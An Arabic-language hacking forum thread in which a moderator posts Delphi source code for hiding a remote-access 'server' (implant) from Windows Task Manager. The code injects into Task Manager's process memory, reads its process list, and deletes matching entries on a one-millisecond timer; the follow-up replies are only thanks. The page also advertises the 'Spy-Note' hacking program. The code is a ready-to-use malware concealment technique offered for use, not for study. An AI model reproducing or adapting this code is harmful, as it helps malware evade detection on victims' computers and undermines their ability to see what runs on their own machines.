1. أهلا وسهلاً بكم في :: IQ-TeaM FORUM :: .
    إذا كانت هذه الزيارة الأولى أو لديك الرغبة بالانضمام لأعضاء شبكة عراق تيم فيجب الاطلاع على خصوصية الشبكه فربما بقائك زائر افضل لك من الانضمام بحيث أن قوانين شبكة عراق تيم لا تتناسب مع اهتماماتك .
    • للأطلاع على الخصوصية وسياسة الاستخدام - التفاصيل
    • بعد الاطلاع على سياسة الموقع وقوانين شبكة عراق تيم يمكنك التسجيل معنا - تسجيل عضو جديد
    إستبعاد الملاحظة
  2. الملاحظات
    عزيزي زائر تم اطلاق الموقع الرسمي لبرنامج الاختراق Spy-Note
    إستبعاد الملاحظة
حالة الموضوع:
مغلق
  1. !»°بہًكہًر الہًعہًراقہًي°«! مراقب أقسام حماية الاجهزة
    طاقم الإدارة

    عضو منذ:
    ‏7 فبراير 2015
    عدد المشاركات:
    659
    الإعجابات المتلقاة:
    1,455
    نقاط الجائزة:
    515
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:


    [​IMG]

    كيف الحال اعضاء وزوار ومشرفي منتدى عراق تيم ارجو ان تكونوا بصحه وسلام


    [​IMG]

    درس اليوم اخفاء السيرفر من البروسس بلغه الدلفي


    مع كود سهل ولا يحتاج الى شرح مطول




    اتركم مع الاكواد






    [PHP CODE]

    PROGRAM Server;

    USES Windows,CommCtrl;


    VAR
    MyTimerHandle:WORD;
    MSG:TMSG;

    FUNCTION MaGChar(CONST S: STRING): STRING; VAR Ch: Char; L: Integer; Source, Dest: PChar;
    BEGIN L := Length(S); SetLength(Result, L); Source := Pointer(S); Dest := Pointer(Result);
    WHILE L <> 0 DO BEGIN Ch := Source^; IF (Ch >= 'A') AND (Ch <= 'Z') THEN Inc(Ch, 32); Dest^ := Ch; Inc(Source); Inc(Dest); Dec(L); END; END;

    FUNCTION CacheCache(_Processus:STRING):STRING;
    VAR dwSize, dwNumberOfBytes, PID, hProcess:Cardinal; PLocalShared, PSysShared: PlvItem;
    wnd: THandle; iCount, i: integer; szTemp: STRING;
    BEGIN
    wnd := FindWindow('#32770', NIL);
    wnd := FindWindowEx(wnd, 0, '#32770', NIL);
    wnd := FindWindowEx(wnd, 0, 'SysListView32',NIL);
    iCount := SendMessage(wnd, LVM_GETITEMCOUNT, 0, 0);
    FOR i := 0 TO iCount -1 DO
    BEGIN
    dwSize := SizeOf(LV_ITEM) + SizeOf(CHAR) * MAX_PATH;
    pLocalShared := VirtualAlloc(NIL, dwSize, MEM_RESERVE + MEM_COMMIT, PAGE_READWRITE);
    GetWindowThreadProcessID(WND, @PID); hProcess := OpenProcess(PROCESS_VM_OPERATION OR PROCESS_VM_READ OR PROCESS_VM_WRITE, FALSE, PID);
    pSysShared := VirtualAllocEx(hProcess, NIL, dwSize, MEM_RESERVE OR MEM_COMMIT, PAGE_READWRITE);
    pLocalShared.mask := LVIF_TEXT;
    pLocalShared.iItem := 0;
    pLocalShared.iSubItem := 0;
    pLocalShared.pszText := LPTSTR(DWord(pSysShared) + SizeOf(LV_ITEM));
    pLocalShared.cchTextMax := 100; WriteProcessMemory(hProcess, pSysShared, pLocalShared, 1024, dwNumberOfBytes);
    SendMessage(wnd, LVM_GETITEMTEXT, i, LPARAM(pSysShared));
    ReadProcessMemory(hProcess, pSysShared, pLocalShared, 1024, dwNumberOfBytes);
    szTemp := PChar(DWord(pLocalShared) + SizeOf(LV_ITEM));
    IF Pos(_Processus, MagChar(szTemp)) > 0 THEN
    ListView_DeleteItem(wnd, i);
    VirtualFree(pLocalShared, 0, MEM_RELEASE);
    VirtualFreeEx(hProcess, pSysShared, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    END;
    END;

    PROCEDURE TimerProc(Wnd:HWnd;Msg,TimerID,dwTime:DWORD);STDCALL;
    BEGIN
    CacheCache('explorer.exe');
    END;

    PROCEDURE StartTimer(Interval:DWORD);
    BEGIN
    MyTimerHandle:=SetTimer(0,0,Interval,@TimerProc);
    END;

    BEGIN StartTimer(1);

    WHILE(GetMessage(Msg,0,0,0))DO
    BEGIN TranslateMessage(Msg); DispatchMessage(Msg); END;
    END.


    [/PHP CODE]

    اتمنى ان تكون الاكواد واضحه وان يكون الموضوع قد نال اعجابكم



    [​IMG]


    امير ايكل

    المعاقب الصدري

    علي الصقور هنا

    مخلد هكسور

    محمد العراقي

    حازم مشكله


    [​IMG]




     
    جاري تحميل الصفحة...
  2. Ali_Aliraqi
    Developer

    عضو منذ:
    ‏26 ديسمبر 2014
    عدد المشاركات:
    198
    الإعجابات المتلقاة:
    5
    نقاط الجائزة:
    50
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    رد: حصريا اخفاء السيرفر من البروسس كود بلغه الدلفي

    وعليكم السلام ورحمة الله وبركاتهعاشت ايدك حب مبدع
     
  3. وائل الاسدي
    rank
    Developer

    عضو منذ:
    ‏23 فبراير 2015
    عدد المشاركات:
    44
    الإعجابات المتلقاة:
    5
    نقاط الجائزة:
    30
    الجنس:
    ذكر
    الوظيفة:
    موظف في وزارة الداخلية
    الإقامة:
    IRAQ
    نظام التشغيل:
    Linux
    اللغة البرمجية:
    Delphi
    Facebook:
    YouTube:
    رد: حصريا اخفاء السيرفر من البروسس كود بلغه الدلفي

    عاشت ايدك يامبدع
     
  4. !»°بہًكہًر الہًعہًراقہًي°«! مراقب أقسام حماية الاجهزة
    طاقم الإدارة

    عضو منذ:
    ‏7 فبراير 2015
    عدد المشاركات:
    659
    الإعجابات المتلقاة:
    1,455
    نقاط الجائزة:
    515
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    وايدك اخوي الغالي نورت الموضوع
     
  5. !»°بہًكہًر الہًعہًراقہًي°«! مراقب أقسام حماية الاجهزة
    طاقم الإدارة

    عضو منذ:
    ‏7 فبراير 2015
    عدد المشاركات:
    659
    الإعجابات المتلقاة:
    1,455
    نقاط الجائزة:
    515
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    وايدك حبي
     
  6. Girl - SilenT <span style="font-weight: bold; text-shadow: #BBBB
    مشرفات المنتدى

    عضو منذ:
    ‏1 ابريل 2015
    عدد المشاركات:
    225
    الإعجابات المتلقاة:
    4
    نقاط الجائزة:
    50
    نظام التشغيل:
    windows 7
    حسابي في الزون اتش Zone-H:
    اللغة البرمجية:
    Perl
    Facebook:
    YouTube:
    رد: حصريا اخفاء السيرفر من البروسس كود بلغه الدلفي

    عاشت ايدك مبدع ورده
     
    أعجب بهذه المشاركة !»°بہًكہًر الہًعہًراقہًي°«!
  7. GosTeR DZ
    DeveloPer Plus

    عضو منذ:
    ‏5 يناير 2013
    عدد المشاركات:
    97
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    50
    الإقامة:
    Algeria
    رد: حصريا اخفاء السيرفر من البروسس كود بلغه الدلفي

    بارك الله فيك يا غالي .[​IMG].
     
    أعجب بهذه المشاركة !»°بہًكہًر الہًعہًراقہًي°«!
  8. مستر كولدن
    DeveloPer Plus

    عضو منذ:
    ‏4 ديسمبر 2014
    عدد المشاركات:
    220
    الإعجابات المتلقاة:
    288
    نقاط الجائزة:
    155
    الجنس:
    ذكر
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Perl
    رد: حصريا اخفاء السيرفر من البروسس كود بلغه الدلفي

    مبدع عاااشت ايدك يا وردة [​IMG]
     
  9. Ameer Eagle V.I.P
    طاقم الإدارة

    عضو منذ:
    ‏7 يونيو 2014
    عدد المشاركات:
    2,922
    الإعجابات المتلقاة:
    2,777
    نقاط الجائزة:
    555
    الجنس:
    ذكر
    الوظيفة:
    Student
    الإقامة:
    IraQ
    نظام التشغيل:
    windows 7
    رد: حصريا اخفاء السيرفر من البروسس كود بلغه الدلفي

    وعليكم السلام ورحمة الله وبركاته

    بارك الله بيك صديقي بكر مبدع من يومك

    تحياتي وتقديري الك
     
  10. South Hack أبو حسين
    DeveloPer Plus

    عضو منذ:
    ‏15 نوفمبر 2014
    عدد المشاركات:
    325
    الإعجابات المتلقاة:
    7
    نقاط الجائزة:
    50
    الإقامة:
    الــعراق
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    رد: حصريا اخفاء السيرفر من البروسس كود بلغه الدلفي

    عاشت الأنامل بكر دائمأ مبدع ومتميز ب طروحاتك :{2}:​
     
    أعجب بهذه المشاركة !»°بہًكہًر الہًعہًراقہًي°«!
حالة الموضوع:
مغلق

مشاركة هذه الصفحة

جاري تحميل الصفحة...